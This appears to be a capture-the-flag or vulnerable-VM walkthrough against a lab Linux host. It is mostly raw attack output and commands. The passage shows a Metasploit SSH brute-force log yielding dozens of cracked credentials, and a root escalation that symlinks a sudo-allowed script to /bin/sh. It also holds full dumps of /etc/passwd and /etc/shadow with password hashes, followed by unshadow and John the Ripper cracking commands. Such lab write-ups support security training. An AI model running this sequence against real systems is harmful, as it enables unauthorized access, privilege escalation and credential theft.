[+] 192.168.1.120:22 SSH - Success: 'cchisholm:baseball' 'uid=1022(cchisholm) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 12 opened (192.168.1.130:54756 -> 192.168.1.120:22) at 2015-01-08 12:29:29 -0700
[+] 192.168.1.120:22 SSH - Success: 'ccoffee:0' 'uid=1044(ccoffee) gid=100(users) groups=100(users),102(admin) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 13 opened (192.168.1.130:55911 -> 192.168.1.120:22) at 2015-01-08 12:29:33 -0700
[+] 192.168.1.120:22 SSH - Success: 'dcooper:sunshine' 'uid=1036(dcooper) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 14 opened (192.168.1.130:47440 -> 192.168.1.120:22) at 2015-01-08 12:29:37 -0700
[+] 192.168.1.120:22 SSH - Success: 'dgilfillan:starwars' 'uid=1014(dgilfillan) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 15 opened (192.168.1.130:51523 -> 192.168.1.120:22) at 2015-01-08 12:29:40 -0700
[+] 192.168.1.120:22 SSH - Success: 'dgrant:letmein' 'uid=1015(dgrant) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 16 opened (192.168.1.130:43905 -> 192.168.1.120:22) at 2015-01-08 12:29:43 -0700
[+] 192.168.1.120:22 SSH - Success: 'djohnson:killer' 'uid=1011(djohnson) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 17 opened (192.168.1.130:58887 -> 192.168.1.120:22) at 2015-01-08 12:29:47 -0700
[+] 192.168.1.120:22 SSH - Success: 'dstevens:internet' 'uid=1023(dstevens) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 18 opened (192.168.1.130:42132 -> 192.168.1.120:22) at 2015-01-08 12:29:51 -0700
[+] 192.168.1.120:22 SSH - Success: 'dwestling:shadow' 'uid=1025(dwestling) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 19 opened (192.168.1.130:37133 -> 192.168.1.120:22) at 2015-01-08 12:29:54 -0700
[+] 192.168.1.120:22 SSH - Success: 'hlovell:consumer' 'uid=1021(hlovell) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 20 opened (192.168.1.130:43957 -> 192.168.1.120:22) at 2015-01-08 12:29:57 -0700
[+] 192.168.1.120:22 SSH - Success: 'jalcantar:trustno1' 'uid=1040(jalcantar) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 21 opened (192.168.1.130:36937 -> 192.168.1.120:22) at 2015-01-08 12:30:00 -0700
[+] 192.168.1.120:22 SSH - Success: 'jalvarez:password' 'uid=1013(jalvarez) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 22 opened (192.168.1.130:42853 -> 192.168.1.120:22) at 2015-01-08 12:30:04 -0700
[+] 192.168.1.120:22 SSH - Success: 'jayala:abc123' 'uid=1029(jayala) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 23 opened (192.168.1.130:34358 -> 192.168.1.120:22) at 2015-01-08 12:30:07 -0700
[+] 192.168.1.120:22 SSH - Success: 'jbresnahan:blahblah' 'uid=1002(jbresnahan) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 24 opened (192.168.1.130:44168 -> 192.168.1.120:22) at 2015-01-08 12:30:10 -0700
[+] 192.168.1.120:22 SSH - Success: 'jduff:princess' 'uid=1020(jduff) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 25 opened (192.168.1.130:45406 -> 192.168.1.120:22) at 2015-01-08 12:30:14 -0700
[+] 192.168.1.120:22 SSH - Success: 'jfranklin:654321' 'uid=1027(jfranklin) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 26 opened (192.168.1.130:42125 -> 192.168.1.120:22) at 2015-01-08 12:30:17 -0700
[+] 192.168.1.120:22 SSH - Success: 'kclemons:passw0rd' 'uid=1009(kclemons) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 27 opened (192.168.1.130:50416 -> 192.168.1.120:22) at 2015-01-08 12:30:20 -0700
[+] 192.168.1.120:22 SSH - Success: 'krenfro:master' 'uid=1048(krenfro) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 28 opened (192.168.1.130:51770 -> 192.168.1.120:22) at 2015-01-08 12:30:24 -0700
[+] 192.168.1.120:22 SSH - Success: 'ktso:1234' 'uid=1005(ktso) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 29 opened (192.168.1.130:41473 -> 192.168.1.120:22) at 2015-01-08 12:30:27 -0700
[+] 192.168.1.120:22 SSH - Success: 'kwebber:dragon' 'uid=1016(kwebber) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 30 opened (192.168.1.130:38814 -> 192.168.1.120:22) at 2015-01-08 12:30:30 -0700
[+] 192.168.1.120:22 SSH - Success: 'lmartinez:pepper' 'uid=1034(lmartinez) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 31 opened (192.168.1.130:51877 -> 192.168.1.120:22) at 2015-01-08 12:30:34 -0700
[+] 192.168.1.120:22 SSH - Success: 'lmorales:football' 'uid=1028(lmorales) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 32 opened (192.168.1.130:54770 -> 192.168.1.120:22) at 2015-01-08 12:30:37 -0700
[+] 192.168.1.120:22 SSH - Success: 'mbryan:jennifer' 'uid=1042(mbryan) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 33 opened (192.168.1.130:45205 -> 192.168.1.120:22) at 2015-01-08 12:30:40 -0700
[+] 192.168.1.120:22 SSH - Success: 'mholland:jordan' 'uid=1041(mholland) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 34 opened (192.168.1.130:38046 -> 192.168.1.120:22) at 2015-01-08 12:30:43 -0700
[+] 192.168.1.120:22 SSH - Success: 'mnader:welcome' 'uid=1047(mnader) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 35 opened (192.168.1.130:60899 -> 192.168.1.120:22) at 2015-01-08 12:30:47 -0700
[+] 192.168.1.120:22 SSH - Success: 'mrodriguez:qwerty' 'uid=1026(mrodriguez) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 36 opened (192.168.1.130:51135 -> 192.168.1.120:22) at 2015-01-08 12:30:50 -0700
[+] 192.168.1.120:22 SSH - Success: 'qpowers:michael' 'uid=1001(qpowers) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 37 opened (192.168.1.130:35915 -> 192.168.1.120:22) at 2015-01-08 12:30:53 -0700
[+] 192.168.1.120:22 SSH - Success: 'rdominguez:12345' 'uid=1010(rdominguez) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 38 opened (192.168.1.130:53430 -> 192.168.1.120:22) at 2015-01-08 12:30:56 -0700
[+] 192.168.1.120:22 SSH - Success: 'rjacobson:111111' 'uid=1043(rjacobson) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 39 opened (192.168.1.130:34041 -> 192.168.1.120:22) at 2015-01-08 12:31:00 -0700
[+] 192.168.1.120:22 SSH - Success: 'rpatel:1234567' 'uid=1045(rpatel) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 40 opened (192.168.1.130:34844 -> 192.168.1.120:22) at 2015-01-08 12:31:03 -0700
[+] 192.168.1.120:22 SSH - Success: 'sgains:computer' 'uid=1019(sgains) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 41 opened (192.168.1.130:54407 -> 192.168.1.120:22) at 2015-01-08 12:31:06 -0700
[+] 192.168.1.120:22 SSH - Success: 'sjohnson:12345678' 'uid=1046(sjohnson) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 42 opened (192.168.1.130:40759 -> 192.168.1.120:22) at 2015-01-08 12:31:09 -0700
[+] 192.168.1.120:22 SSH - Success: 'strammel:monkey' 'uid=1006(strammel) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 43 opened (192.168.1.130:55731 -> 192.168.1.120:22) at 2015-01-08 12:31:12 -0700
[+] 192.168.1.120:22 SSH - Success: 'swarren:Password' 'uid=1007(swarren) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 44 opened (192.168.1.130:52038 -> 192.168.1.120:22) at 2015-01-08 12:31:16 -0700
[+] 192.168.1.120:22 SSH - Success: 'tdeleon:soccer' 'uid=1038(tdeleon) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 45 opened (192.168.1.130:48251 -> 192.168.1.120:22) at 2015-01-08 12:31:19 -0700
[+] 192.168.1.120:22 SSH - Success: 'tgoodchap:nintendo' 'uid=1030(tgoodchap) gid=100(users) groups=100(users) Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-2640M CPU @ 2.80GHz GenuineIntel GNU/Linux '
[*] Command shell session 46 opened (192.168.1.130:36430 -> 192.168.1.120:22) at 2015-01-08 12:31:22 -0700
[-] 192.168.1.120:22 SSH - Failed: ':'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

I haven’t cracked root yet but notice this “‘ccoffee:0’ ‘uid=1044(ccoffee) gid=100(users) groups=100(users),102(admin)”. the 102 admin group id is promising.

Linux 2.6.27.27.
ccoffee@slax:~$ ls
DONOTFORGET*  scripts/
ccoffee@slax:~$ cat DONOTFORGET 
remember your 20th anniversary on the 5th!!!!!!!!!1111!!
ccoffee@slax:~$ cd scripts/
ccoffee@slax:~/scripts$ ls
getlogs.sh*
ccoffee@slax:~/scripts$ cat getlogs.sh 
cat: getlogs.sh: Permission denied
ccoffee@slax:~/scripts$

Permission denied!

ccoffee@slax:~$ mv scripts/ scripts.old
ccoffee@slax:~$ mkdir scripts     
ccoffee@slax:~$ ln -s /bin/sh scripts/getlogs.sh
ccoffee@slax:~$ ls -l scripts/getlogs.sh 
lrwxrwxrwx 1 ccoffee users 7 Jan  7 23:03 scripts/getlogs.sh -> /bin/sh*
ccoffee@slax:~$ sudo scripts/getlogs.sh

What this did was move the old script folder that I didn’t have permissions to into the .old folder. The new getlogs.sh folder is linked to the shell command so doing sudo getlogs.sh creates a root shell.

There is no specific challenge so once you are on the system look around and be awesome.

root@slax:/etc# cat passwd      
root:x:0:0::/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/false
daemon:x:2:2:daemon:/sbin:/bin/false
adm:x:3:4:adm:/var/log:/bin/false
lp:x:4:7:lp:/var/spool/lpd:/bin/false
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/:/bin/false
news:x:9:13:news:/usr/lib/news:/bin/false
uucp:x:10:14:uucp:/var/spool/uucppublic:/bin/false
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:/bin/false
ftp:x:14:50::/home/ftp:/bin/false
smmsp:x:25:25:smmsp:/var/spool/clientmqueue:/bin/false
mysql:x:27:27:MySQL:/var/lib/mysql:/bin/false
rpc:x:32:32:RPC portmap user:/:/bin/false
sshd:x:33:33:sshd:/:/bin/false
gdm:x:42:42:GDM:/var/state/gdm:/bin/bash
apache:x:80:80:User for Apache:/srv/httpd:/bin/false
messagebus:x:81:81:User for D-BUS:/var/run/dbus:/bin/false
haldaemon:x:82:82:User for HAL:/var/run/hald:/bin/false
pop:x:90:90:POP:/:/bin/false
nobody:x:99:99:nobody:/:/bin/false
aard:x:1000:100:Aaron Ard:/home/aard:
qpowers:x:1001:100:Quinton Powers:/home/qpowers:
jbresnahan:x:1002:100:Jay Bresnahan:/home/jbresnahan:
aadams:x:1003:100:Adam Adams:/home/aadams:
jdavenport:x:1004:100:James Davenport:/home/jdavenport:
ktso:x:1005:100:Kristen Tso:/home/ktso:
strammel:x:1006:100:Stephanie Trammel:/home/strammel:
swarren:x:1007:100:Samuel Warren:/home/swarren:
myajima:x:1008:100:Moto Yajima:/home/myajima:
kclemons:x:1009:100:Kathryn Clemons:/home/kclemons:
rdominguez:x:1010:100:Rafael Dominguez:/home/rdominguez:
djohnson:x:1011:100:Daniel Johnson:/home/djohnson:
bbanter:x:1012:100:Bob Banter:/home/bbanter:
jalvarez:x:1013:100:Joy Alvarez:/home/jalvarez:
dgilfillan:x:1014:100:Darcy Gilfillan:/home/dgilfillan:
dgrant:x:1015:100:Daniel Grant:/home/dgrant:
kwebber:x:1016:100:Kathleen Webber:/home/kwebber:
aheflin:x:1017:100:Anna Heflin:/home/aheflin:
amaynard:x:1018:100:Arthur Maynard:/home/amaynard:
sgains:x:1019:100:Susan Gains:/home/sgains:
jduff:x:1020:100:Jerry Duff:/home/jduff:
hlovell:x:1021:100:Henrietta Lovell:/home/hlovell:
cchisholm:x:1022:100:Cindy Chisholm:/home/cchisholm:
dstevens:x:1023:100:Donald Stevens:/home/dstevens:
bphillips:x:1024:100:Brad Phillips:/home/bphillips:
dwestling:x:1025:100:David Westling:/home/dwestling:
mrodriguez:x:1026:100:Manuel Rodriguez:/home/mrodriguez:
jfranklin:x:1027:100:Johnny Franklin:/home/jfranklin:
lmorales:x:1028:100:Lindsey Morales:/home/lmorales:
jayala:x:1029:100:John Ayala:/home/jayala:
tgoodchap:x:1030:100:Taj Goodchap:/home/tgoodchap:
aallen:x:1031:100:Aaron Allen:/home/aallen:
aweiland:x:1032:100:Adam Weiland:/home/aweiland:
dtraylor:x:1033:100:Donnie Traylor:/home/dtraylor:
lmartinez:x:1034:100:Luis Martinez:/home/lmartinez:
aspears:x:1035:100:Adam Spears:/home/aspears:
dcooper:x:1036:100:Donald Cooper:/home/dcooper:
bwatkins:x:1037:100:Brandon Watkins:/home/bwatkins:
tdeleon:x:1038:100:Terrence Deleon:/home/tdeleon:
aharp:x:1039:100:Annie Harp:/home/aharp:
jalcantar:x:1040:100:Jesse Alcantar:/home/jalcantar:
mholland:x:1041:100:Marian Holland:/home/mholland:
mbryan:x:1042:100:Michael Bryan:/home/mbryan:
rjacobson:x:1043:100:Randy Jacobson:/home/rjacobson:
ccoffee:x:1044:100:Chad Coffee:/home/ccoffee:
rpatel:x:1045:100:Randall Patel:/home/rpatel:
sjohnson:x:1046:100:Steven Johnson:/home/sjohnson:
mnader:x:1047:100:Muhammad Nader:/home/mnader:
krenfro:x:1048:100:Kimberly Renfro:/home/krenfro:

root@slax:/etc# cat shadow
root:$1$6Hl/leIf$BHG4Z0HgNq2bnbRriQcCt/:16442:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
adm:*:9797:0:::::
lp:*:9797:0:::::
sync:*:9797:0:::::
shutdown:*:9797:0:::::
halt:*:9797:0:::::
mail:*:9797:0:::::
news:*:9797:0:::::
uucp:*:9797:0:::::
operator:*:9797:0:::::
games:*:9797:0:::::
ftp:*:9797:0:::::
smmsp:*:9797:0:::::
mysql:*:9797:0:::::
rpc:*:9797:0:::::
sshd:*:9797:0:::::
gdm:*:9797:0:::::
pop:*:9797:0:::::
apache:*:9797:0:::::
messagebus:*:9797:0:::::
haldaemon:*:9797:0:::::
nobody:*:9797:0:::::
aard:$1$M/1naIfI$/dpCFIuWISrIGy408fP0U.:16442:0:99999:7:::
qpowers:$1$oDCsaIfI$PlHnGw5Ylqoke4HOfDnz81:16442:0:99999:7:::
jbresnahan:$1$nHExaIfI$xFPgXAOo9ktw2azn/qnbv.:16442:0:99999:7:::
aadams:$1$TzF0bIfI$RvB2GZOb5WDCJX.agChuB1:16442:0:99999:7:::
jdavenport:$1$3wl/neIf$kuBSySXsu5nSeNjMgBRjr1:16442:0:99999:7:::
ktso:$1$t0KAbIfI$WPULPwgsjByt0ICV6.zMS1:16442:0:99999:7:::
strammel:$1$lpLFbIfI$B9wU7zrHALtgO5PpTFEYJ1:16442:0:99999:7:::
swarren:$1$TdNKbIfI$Duy.Uy2sGwqY6YsfTzX4h1:16442:0:99999:7:::
myajima:$1$xJPPbIfI$SQc4btSCHeIIYPVE/.r6a.:16442:0:99999:7:::
kclemons:$1$IURUbIfI$Tpisuh39vd16hd9Q2W198/:16442:0:99999:7:::
rdominguez:$1$PDTZbIfI$xKK6A/ZQiFgWpYVzzd.Gw.:16442:0:99999:7:::
djohnson:$1$buUebIfI$0gd4dWKyVH2.ufk8zSq.z0:16442:0:99999:7:::
bbanter:$1$QWWjbIfI$GoRunRTIFvf9sOfrWttwS0:16442:0:99999:7:::
jalvarez:$1$AHYobIfI$gqSV2utxp46bVc0MzOFCP.:16442:0:99999:7:::
dgilfillan:$1$m0atbIfI$r5vprBT7DmEx/bNqH8RDM1:16442:0:99999:7:::
dgrant:$1$7sbybIfI$8FbpRfuY.N8hX6Sn4A4PX.:16442:0:99999:7:::
kwebber:$1$9hd1cIfI$Hsx2f74tHtVhioZegod8d.:16442:0:99999:7:::
aheflin:$1$waf6cIfI$Yq12oAcx/c176h1LC/MHJ.:16442:0:99999:7:::
amaynard:$1$nFhBcIfI$Q7LRuK3aMzhrdqZD1AjaF0:16442:0:99999:7:::
sgains:$1$U3jGcIfI$pbF6mepdppQgEM1/OnOKS1:16442:0:99999:7:::
jduff:$1$bskLcIfI$0xxI8JWghNZrwknfckK4I1:16442:0:99999:7:::
hlovell:$1$0bmQcIfI$f7yj5xtUFVmGnMtEc0F0M/:16442:0:99999:7:::
cchisholm:$1$2PoVcIfI$g2OHLIwZNfkSEwbkdXL.o/:16442:0:99999:7:::
dstevens:$1$/MqacIfI$YrH3QJethu7PXmEB5cDvB.:16442:0:99999:7:::
bphillips:$1$3BsfcIfI$AnYSJSkRMC5yvbTQIdHPN1:16442:0:99999:7:::
dwestling:$1$nvtkcIfI$WOkUDONlGepzNXM37hzDW1:16442:0:99999:7:::
mrodriguez:$1$LkvpcIfI$UYw1kRIkon2T3Kf/as.hD.:16442:0:99999:7:::
jfranklin:$1$8XxucIfI$5V78VV1YZVUaq2PyRbH82/:16442:0:99999:7:::
lmorales:$1$NOzzcIfI$xHUTPP/Myrqh8iBIF4sH00:16442:0:99999:7:::
jayala:$1$r5//2dIf$WGWmk2GfQETfIqPvnu5Eb.:16442:0:99999:7:::
tgoodchap:$1$Yo0/7dIf$jfLG8/Fv7873kFlascMdg1:16442:0:99999:7:::
aallen:$1$Zm2/CdIf$tonJrOosRTYbCzxTYcBrJ.:16442:0:99999:7:::
aweiland:$1$Jc4/HdIf$Iae3U0Lbu04YjxfO3t8f2/:16442:0:99999:7:::
dtraylor:$1$db6/MdIf$5Wtmc3YxBJkLE3TjSqwX91:16442:0:99999:7:::
lmartinez:$1$DH8/RdIf$vosY88nHAoqwPonN.tMBO1:16442:0:99999:7:::
aspears:$1$.5A/WdIf$lt4KE9Mt01qjJwH0q/TaA.:16442:0:99999:7:::
dcooper:$1$2pB/bdIf$9Bqi7D3JH7nO3YVuiKhfq.:16442:0:99999:7:::
bwatkins:$1$biD/gdIf$PqXD41GXwTEtNnNSNP7ve1:16442:0:99999:7:::
tdeleon:$1$VdF/ldIf$8VVkJorueLDB2XEdwRcvA/:16442:0:99999:7:::
aharp:$1$GjH/qdIf$SXBGXRgsaGwWst2EVA4OK.:16442:0:99999:7:::
jalcantar:$1$dXJ/vdIf$1kaaAoMN7832vQ.0h8idE1:16442:0:99999:7:::
mholland:$1$HZL/.eIf$y0VAQHlJuHxJ09uHYYXYV1:16442:0:99999:7:::
mbryan:$1$/kN/3eIf$b6lCYJUAEVi89QU501i/J.:16442:0:99999:7:::
rjacobson:$1$WuP/8eIf$mbawyIozTk2s4rMW6.ruA/:16442:0:99999:7:::
ccoffee:$1$8.S/DeIf$1FJ.To3iEN0LVosO0Xtzg/:16442:0:99999:7:::
rpatel:$1$c8U/IeIf$g91rGG1w6ulFOgRto6R.D/:16442:0:99999:7:::
sjohnson:$1$zoW/NeIf$I6x4GbMkhjKDps9B56Yrm0:16442:0:99999:7:::
mnader:$1$u5Z/SeIf$9qy9RwXoat1fLfbQMjvri.:16442:0:99999:7:::
krenfro:$1$Hwb/XeIf$626PVcnIxjUS6zrwWz40P.:16442:0:99999:7:::

unshadow 120passwd 120shadow > 120unshadow
john -rules -wordlist=/usr/share/wordlists/rockyou.txt 120unshadow